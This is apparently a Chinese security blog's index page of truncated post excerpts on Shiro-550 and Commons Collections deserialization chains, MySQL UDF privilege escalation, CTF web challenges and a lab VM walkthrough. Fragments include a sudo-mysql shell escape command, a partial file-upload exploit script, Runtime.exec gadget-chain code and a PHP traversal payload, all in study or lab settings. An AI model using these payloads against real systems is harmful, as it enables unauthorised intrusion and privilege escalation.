shiro550
前言shiro550漏洞的根本原因是因为使用固定的key进行加密 环境搭建jdk8u65(我们当时调cc链的时候已经准备好了) Tomcat8 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/ 下载好之后解压缩,然后进入bin点击startup.bat,如果一闪而过,那就用在命令行中去运行它,看看缺什么环境变量(一般是)然后添加这个环境变量就行了。 最后运行在本地的8080端口 shiro1.2.4 漏洞影响的版本:shiro<=1.2.4 靶场环境搭建 我们先下载p神的项目 https://github.com/phith0n/JavaThings/tree/master/shirodemo 使用idea打开项目 在这里添加我们刚刚下载好的tomcat 在进入项目结构中添加工件 最后设置运行与调试 点击login.jsp运行,配置好路由是这个界面 至此环境搭配完成 shiro550分析由于 Shiro 使用的 RememberMe 功能通过 AES 加密的 C...
initial
flag1第一步用tscan扫描指纹发现是thinkphp 然后直接getshell 蚁剑连接后sudo -l发现mysql提权 1sudo mysql -e '\! find / -type f -name "*flag*" 2>/dev/null' 然后得到flag1 1flag{60b53231- flag2传入fscan来扫描一下内网 1fscan -h 然后用stowaway做一个内网穿透 弱口令可以进入到这里 然后是信呼协同办公2.2版本的文件上传 exp 123456789101112131415161718192021222324252627282930313233import requestssession = requests.session()url_pre = 'http://url/'url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'ur...
udf提权
学习文章:https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83 基本概念:自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。 复现动态连接库如果是MySQL >= 5.1的版本,必须把UDF的动态链接库文件放置于Mysql安装目录下的lib\plugin文件夹下才能创建自定义函数, sqlmap和Metasploit里都自带了对应系统的动态链接库文件 sqlmap的UDF动态链接库文件位置 1/usr/share/sqlmap/data/udf/mysql sqlmap自带的udf动态链接库因为防止被误杀,都带着编码,不过它也给出了编码工具 cloak.py 1234567891011121314pwd /usr/s...
NSSCTF秋季新生赛
webSIGN IN! 考了三个请求头 ezez_include 有文件上传的地方,也有文件包含的点,那就是上传一个代码的图片,包含一下就行 isAdmin 伪造即可 123456{ "name": "guest", "role": "admin", "isAdmin": true, "admin": true} DANGEROUS TRIAL 这里有一个字典,用它的字典去爆破 12cat=114514a&Slime=data://text/plain;base64,cmltdXJ1NSS[CTF.LOVE=highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); 我是签到 file_get_contents的rce 直接用脚本就行了 我是复读机信息泄露robo...
cc链7
环境准备和cc1一样 分析我们先来看一下hashtable这个类的readobject方法 调用了reconstitutionPut方法,跟进一下, 我们需要调用equals,这里肯定要满足两个key了,并且两个lazymap的hashcode还必须相等然后调用lazymap的equals,他没有,那就找他的父类AbstractMapDecorator, 这就调用了map的equals了,如果你的lazymap构造的时候用的是一个hashmap,那就会调用了hashmap的equals,依旧没有,那就找他的父类, 在这里就调用了get,这样就到了这里,然后就是绕过的点了 前面已经讲了要两个LazyMap的hashcode相等,使用即可 12lazymap1.put("yy",1);lazymap2.put("zZ",1); 然后会lazymap2会多一个yy=yy,不会调用transform了,所以要移除掉,加个remove就行了。 要先传一个空的transform,防止put调用equals,提前执行。然后在用反射...
cc链4
环境准备和cc链2一个环境 分析cc链4就是cc3和cc2的结合(个人认为)直接贴exp了 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparat...
cc链5
环境准备和cc1一样 分析尾部的命令执行部分,和cc链1一样 123456789101112Class c = Runtime.class; Transformer[] T = { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new...
cc链3
环境准备我用的cc1的环境 分析cc链3主要使用的是任意类的加载作为尾部实现攻击,使用的是TemplatesImpl的defineTransletClasses方法中调用的defineClass(TransletClassLoader是Templates类的副类而它的父类正好就是ClassLoader),这边对defineClass的调用正好就是对父类defineclass的调用。 注意点: 这是一个全新的方法,不算重写(个人理解),后面的才是一个调用父类defineclass方法的函数。 然后找谁调用defineTransletClasses方法,是getTransletInstance这个方法,这个方法中有一个参数要控制一下 _name不能为空,_class必须要为空,在找谁调用了getTransletInstance,是newTransformer方法 这个属性要传参,就会报错出问题,怎么解决呢? 给它这个值即可。 然后是_bytecodes这个属性,是一个二维的,这里我们让一维byte等于恶意类的字节码,然后再以数组的形式套上一层。 12byte[] b = Fi...
WestWild
信息收集 扫描出靶机 扫描端口号 漏洞扫描 目录扫描 渗透过程我们在信息收集中对端口扫描时发现了445端口,开启了SMB协议。 可能存在共享目录,可以枚举用户和查找共享文件(工具:enum4linux) 1enum4linux 192.168.213.134 这里有一个共享文件,我们尝试访问 空密码 我们把文件get到本地查看 含有flag1和用户名与密码,上述信息收集中有22端口开放,尝试连接一下 权限不够,尝试提权 找具有写的权限的文件 发现可执行文件 又一组账号密码,登陆看看 爽遭了。 结束
cc链2
环境准备依赖 12345678910111213<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </depende...
